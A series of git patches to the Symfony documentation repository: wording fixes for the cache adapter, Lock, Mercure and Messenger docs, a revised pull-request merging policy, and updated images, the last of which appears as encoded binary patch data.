 The :class:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter` requires a :phpclass:`PDO`,
-or `Data Source Name (DSN)`_ as its first parameter, and optionally a namespace,
-default cache lifetime, and options array as its second, third, and forth parameters::
+or `Data Source Name (DSN)`_ as its first parameter. You can pass a namespace,
+default cache lifetime, and options array as the other optional arguments::
 
     use Symfony\Component\Cache\Adapter\PdoAdapter;
 
@@ -61,14 +61,13 @@ your code.
     are lazy-loaded by default; some additional options may be necessary to detect
     the database engine and version without opening the connection.
 
-
 Using Doctrine DBAL
 -------------------
 
 The :class:`Symfony\\Component\\Cache\\Adapter\\DoctrineDbalAdapter` requires a
-`Doctrine DBAL Connection`_, or `Doctrine DBAL URL`_ as its first parameter, and
-optionally a namespace, default cache lifetime, and options array as its second,
-third, and forth parameters::
+`Doctrine DBAL Connection`_, or `Doctrine DBAL URL`_ as its first parameter.
+You can pass a namespace, default cache lifetime, and options array as the other
+optional arguments::
 
     use Symfony\Component\Cache\Adapter\DoctrineDbalAdapter;
 

From 86f4e930f3603f119a27d530b71ceb01e90786a2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Dec 2021 17:18:52 +0100
Subject: [PATCH 1550/5766] Remove a deprecated comment

---
 components/cache/adapters/pdo_doctrine_dbal_adapter.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
index e1bf8ab5540..9239f276f6a 100644
--- a/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
+++ b/components/cache/adapters/pdo_doctrine_dbal_adapter.rst
@@ -47,13 +47,6 @@ You can also create this table explicitly by calling the
 :method:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter::createTable` method in
 your code.
 
-.. deprecated:: 5.4
-
-    Using :class:`Symfony\\Component\\Cache\\Adapter\\PdoAdapter` with a
-    :class:`Doctrine\\DBAL\\Connection` or a DBAL URL is deprecated since Symfony 5.4
-    and will be removed in Symfony 6.0.
-    Use :class:`Symfony\\Component\\Cache\\Adapter\\DoctrineDbalAdapter` instead.
-
 .. tip::
 
     When passed a `Data Source Name (DSN)`_ string (instead of a database connection

From eb0802d9c60bb0acb9f144851a5546a98156ea10 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Dec 2021 17:34:27 +0100
Subject: [PATCH 1551/5766] Remove a deprecated admonition

---
 components/lock.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index a70ba793d7f..5b0ab55a1b0 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -479,11 +479,6 @@ You can also create this table explicitly by calling the
 :method:`Symfony\\Component\\Lock\\Store\\PdoStore::createTable` method in
 your code.
 
-.. deprecated:: 5.4
-
-    Using ``PdoStore`` with Doctrine DBAL is deprecated in Symfony 5.4.
-    Use ``DoctrineDbalStore`` instead.
-
 .. _lock-store-dbal:
 
 DoctrineDbalStore

From 964f488ab4b0c1592f810e1645a3306d6e586cc2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 27 Dec 2021 17:37:40 +0100
Subject: [PATCH 1552/5766] Remove unused references

---
 contributing/documentation/overview.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 25959c87392..2334f504400 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -291,6 +291,4 @@ definitely don't want you to waste your time!
 .. _`Symfony Documentation Contributors`: https://symfony.com/contributors/doc
 .. _`SymfonyConnect`: https://symfony.com/connect/login
 .. _`Symfony Documentation Badge`: https://connect.symfony.com/badge/36/symfony-documentation-contributor
-.. _`SymfonyCloud`: https://symfony.com/cloud
-.. _`roadmap`: https://symfony.com/releases
 .. _`the README file of symfony-docs repository`: https://github.com/symfony/symfony-docs#readme

From 742b475d510ae18b836837a8958808fa67dd4058 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Mon, 27 Dec 2021 21:53:40 +0100
Subject: [PATCH 1553/5766] [Mercure] fix some typos and outdates sentences

---
 mercure.rst | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 365e3de9391..5dcda7951ec 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -112,14 +112,14 @@ This secret key must be stored in the ``MERCURE_JWT_SECRET`` environment variabl
 MercureBundle will use it to automatically generate and sign the needed JWTs.
 
 In addition to these environment variables,
-MercureBundle provides a more advanced configuration configuration:
+MercureBundle provides a more advanced configuration:
 
-* ``secret``: the key to use to sign the JWT (all other options, beside `algorithm`, `subscribe`, and `publish` will be ignored)
-* ``publish``: a list of topics to allow publishing to when generating the JWT (only usable when `secret`, or `factory` are provided)
-* ``subscribe``: a list of topics to allow subscribing to when generating the JWT (only usable when `secret`, or `factory` are provided)
-* ``algorithm``: The algorithm to use to sign the JWT (only usable when `secret` is provided)
+* ``secret``: the key to use to sign the JWT (all other options, beside ``algorithm``, ``subscribe``, and ``publish`` will be ignored)
+* ``publish``: a list of topics to allow publishing to when generating the JWT (only usable when ``secret``, or ``factory`` are provided)
+* ``subscribe``: a list of topics to allow subscribing to when generating the JWT (only usable when ``secret``, or ``factory`` are provided)
+* ``algorithm``: The algorithm to use to sign the JWT (only usable when ``secret`` is provided)
 * ``provider``: The ID of a service to call to provide the JWT (all other options will be ignored)
-* ``factory``: The ID of a service to call to create the JWT (all other options, beside `subscribe`, and `publish` will be ignored)
+* ``factory``: The ID of a service to call to create the JWT (all other options, beside ``subscribe``, and ``publish`` will be ignored)
 * ``value``: the raw JWT to use (all other options will be ignored)
 
 .. configuration-block::
@@ -186,7 +186,7 @@ MercureBundle provides a more advanced configuration configuration:
 
 .. tip::
 
-    The JWT payload must contain at least the following structure to be allowed to
+    The JWT payload must contain at least the following structure for the client to be allowed to
     publish:
 
     .. code-block:: json
@@ -338,8 +338,8 @@ in a ``Link`` HTTP header.
 
 .. image:: /_images/mercure/discovery.png
 
-You can create ``Link`` headers with the :doc:`WebLink Component </web_link>`,
-by using the ``AbstractController::addLink`` helper method::
+You can create ``Link`` headers with the ``Discovery`` helper class
+(under the hood, it uses the :doc:`WebLink Component </web_link>`)::
 
     // src/Controller/DiscoverController.php
     namespace App\Controller;
@@ -416,10 +416,10 @@ of the ``Update`` constructor to ``true``::
     }
 
 To subscribe to private updates, subscribers must provide to the Hub
-a JWT containing a topic selector matching by the update's topic.
+a JWT containing a topic selector matching by the topic of the update.
 
 To provide this JWT, the subscriber can use a cookie,
-or a ``Authorization`` HTTP header.
+or an ``Authorization`` HTTP header.
 
 Cookies can be set automatically by Symfony by passing the appropriate options
 to the ``mercure()`` Twig function. Cookies set by Symfony are automatically
@@ -470,7 +470,7 @@ Programmatically Setting The Cookie
 
 Sometimes, it can be convenient to set the authorization cookie from your code
 instead of using the Twig function. MercureBundle provides a convenient service,
-:class:`Symfony\\Component\\Mercure\\Authorization`, to do so.
+``Authorization``, to do so.
 
 In the following example controller, the added cookie contains a JWT, itself
 containing the appropriate topic selector.

From 11817e10ddc78c1f9ba93ee9535d6670a3209812 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Mon, 27 Dec 2021 11:04:16 -0500
Subject: [PATCH 1554/5766] Clarify Pull Request Merging Policy

---
 contributing/code/core_team.rst | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 1607c7c0252..a659666c2ec 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -150,9 +150,13 @@ A pull request **can be merged** if:
 
 * Enough time was given for peer reviews;
 
-* At least two **Mergers Team** members voted ``+1`` (only one if the submitter
-  is part of the Mergers team) and no Core member voted ``-1`` (via GitHub
-  reviews or as comments).
+* It is a bug fix and at least two **Mergers Team** members voted ``+1``
+  (only one if the submitter is part of the Mergers team) and no Core
+  member voted ``-1`` (via GitHub reviews or as comments).
+
+* It is a new feature and at least two **Mergers Team** members voted
+  ``+1`` (if the submitter is part of the Mergers team, two *other* members)
+  and no Core member voted ``-1`` (via GitHub reviews or as comments).
 
 Pull Request Merging Process
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From b909ecefd2958eb8bcbea5eb8d510fa07bae1df3 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 28 Dec 2021 16:48:03 +0100
Subject: [PATCH 1555/5766] Update best_practices.rst

---
 best_practices.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/best_practices.rst b/best_practices.rst
index f18c756c2fc..537bdc4637f 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -378,7 +378,8 @@ Use Voters to Implement Fine-grained Security Restrictions
 
 If your security logic is complex, you should create custom
 :doc:`security voters </security/voters>` instead of defining long expressions
-inside the ``@Security`` annotation.
+inside the ``Security`` attribute
+(or annotation if your PHP version doesn't support attributes yet).
 
 Web Assets
 ----------

From da844ef4c7625cd48e0b5826ec3a286a29d32d26 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Dec 2021 15:38:59 +0100
Subject: [PATCH 1556/5766] Minor tweak

---
 best_practices.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 537bdc4637f..ccdc8d17852 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -378,8 +378,8 @@ Use Voters to Implement Fine-grained Security Restrictions
 
 If your security logic is complex, you should create custom
 :doc:`security voters </security/voters>` instead of defining long expressions
-inside the ``Security`` attribute
-(or annotation if your PHP version doesn't support attributes yet).
+inside the ``#[Security]`` attribute (or in the ``@Security`` annotation if your
+PHP version doesn't support attributes yet).
 
 Web Assets
 ----------

From ffe30f5fc2a591e3bef6b656aa58b1482602238e Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Wed, 29 Dec 2021 07:13:56 -0400
Subject: [PATCH 1557/5766] [ExpressionLanguage] Fix link anchors in
 expression_language.rst #16295

---
 components/expression_language.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index edd3587aa6d..988bda75884 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -105,7 +105,7 @@ PHP type (including objects)::
     )); // displays "Honeycrisp"
 
 For more information, see the :doc:`/components/expression_language/syntax`
-entry, especially :ref:`component-expression-objects` and :ref:`component-expression-arrays`.
+entry, especially :ref:`Working with Objects <component-expression-objects>` and :ref:`Working with Arrays <component-expression-arrays>`.
 
 .. caution::
 

From 56ac832f44e1ead767009a369d129ee002adf219 Mon Sep 17 00:00:00 2001
From: Bhavin Nakrani <bhavin.it8488@gmail.com>
Date: Tue, 28 Dec 2021 17:55:41 +0530
Subject: [PATCH 1558/5766] Update msg for async handler

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 73dab5e9ea5..4cf2419a3a4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -326,7 +326,7 @@ Doctrine Entities in Messages
 
 If you need to pass a Doctrine entity in a message, it's better to pass the entity's
 primary key (or whatever relevant information the handler actually needs, like ``email``,
-etc) instead of the object::
+etc) instead of the object othwerwise it will give error regarding EntityManager not found in async handler ::
 
     // src/Message/NewUserWelcomeEmail.php
     namespace App\Message;

From bada525d41156663f3217f122b85980666e29e39 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Dec 2021 17:33:45 +0100
Subject: [PATCH 1559/5766] Minor reword

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 4cf2419a3a4..e177e99655b 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -326,7 +326,7 @@ Doctrine Entities in Messages
 
 If you need to pass a Doctrine entity in a message, it's better to pass the entity's
 primary key (or whatever relevant information the handler actually needs, like ``email``,
-etc) instead of the object othwerwise it will give error regarding EntityManager not found in async handler ::
+etc.) instead of the object (otherwise you might see errors related to the Entity Manager)::
 
     // src/Message/NewUserWelcomeEmail.php
     namespace App\Message;

From caaa569de3987e85a194ba6136bebdda97759f8c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Dec 2021 17:40:39 +0100
Subject: [PATCH 1560/5766] Minor tweak

---
 frontend/encore/simple-example.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 16cf9b2e1ef..306bf38560c 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -43,7 +43,7 @@ of your project. It already holds the basic config you need:
 
         .addEntry('app', './assets/app.js')
 
-        // Don't forget to uncomment If you want use following JQuery example code
+        // uncomment this if you want use jQuery in the following example
         .autoProvidejQuery()
     ;
 

From 5832e228606aa5012283e076d122f528e04b5826 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Antal=20=C3=81ron?= <antalaron@antalaron.hu>
Date: Thu, 30 Dec 2021 13:03:44 +0100
Subject: [PATCH 1561/5766] Make example work

---
 components/var_exporter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 59f5ec64fab..810cc271a2b 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -28,7 +28,7 @@ PHP code, similar to PHP's :phpfunction:`var_export` function::
 
     $exported = VarExporter::export($someVariable);
     // store the $exported data in some file or cache system for later reuse
-    $data = file_put_contents('exported.php', $exported);
+    $data = file_put_contents('exported.php', '<?php return '.$exported.';');
 
     // later, regenerate the original variable when you need it
     $regeneratedVariable = require 'exported.php';

From 87bd12023e617781a60533b567d887ccb333c191 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Wed, 29 Dec 2021 14:39:37 +0100
Subject: [PATCH 1562/5766] Improvements around documentation images

---
 .../contributing/docs-github-create-pr.png    | Bin 66585 -> 171073 bytes
 .../contributing/docs-github-edit-page.png    | Bin 63974 -> 62133 bytes
 .../docs-pull-request-change-base.png         | Bin 5849 -> 17589 bytes
 .../exceptions-in-dev-environment.png         | Bin 62791 -> 82684 bytes
 _images/install/deprecations-in-profiler.png  | Bin 60991 -> 103758 bytes
 _images/profiler/web-interface.png            | Bin 75628 -> 126397 bytes
 _images/quick_tour/no_routes_page.png         | Bin 576466 -> 62109 bytes
 _images/quick_tour/web_debug_toolbar.png      | Bin 59618 -> 0 bytes
 _images/release-process.jpg                   | Bin 315886 -> 0 bytes
 9 files changed, 0 insertions(+), 0 deletions(-)
 delete mode 100644 _images/quick_tour/web_debug_toolbar.png
 delete mode 100644 _images/release-process.jpg

diff --git a/_images/contributing/docs-github-create-pr.png b/_images/contributing/docs-github-create-pr.png
index 29fe22f5dbdae49c0fc445fee88a3dffe366356b..43b6842ffc248555ab9174d2bbbb6357e9f42e4f 100644
GIT binary patch
literal 171073
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
